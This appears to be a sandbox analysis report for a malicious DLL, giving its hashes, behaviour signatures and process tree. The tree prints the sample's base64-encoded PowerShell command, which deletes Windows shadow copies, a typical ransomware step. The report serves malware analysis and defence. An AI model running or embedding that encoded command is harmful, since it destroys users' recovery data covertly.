Analysis
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max time kernel
90s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
15-06-2022 03:45
Static task
static1
Behavioral task
behavioral1
Sample
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
Resource
win10v2004-20220414-en
General
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Target
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll
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Size
164KB
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MD5
b1bfced23e482fe588af810faf9dbe9e
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SHA1
e767d3573c0b463db710d5144f42c92faee8fbba
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SHA256
2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542
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SHA512
40a73b63de0ed234bf92fd0b5824145493feabd7c2ea9b65bbca76578be540afe4e6b092e7b1804f442ba2b5d342ac85cc93f65b5b9b9f8f1380f5a87c171d99
Malware Config
Signatures
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Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\U: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\W: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
rundll32.exepowershell.exepid process 4516 rundll32.exe 4516 rundll32.exe 4640 powershell.exe 4640 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 4640 powershell.exe Token: SeBackupPrivilege 4092 vssvc.exe Token: SeRestorePrivilege 4092 vssvc.exe Token: SeAuditPrivilege 4092 vssvc.exe -
Suspicious use of WriteProcessMemory 5 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 2600 wrote to memory of 4516 2600 rundll32.exe rundll32.exe PID 2600 wrote to memory of 4516 2600 rundll32.exe rundll32.exe PID 2600 wrote to memory of 4516 2600 rundll32.exe rundll32.exe PID 4516 wrote to memory of 4640 4516 rundll32.exe powershell.exe PID 4516 wrote to memory of 4640 4516 rundll32.exe powershell.exe
Processes
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C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:2600 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\2afd8d5a9d39f59c6827acae7b915f3306bf2cf243ed19733e03af014e158542.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4516 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4640
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4092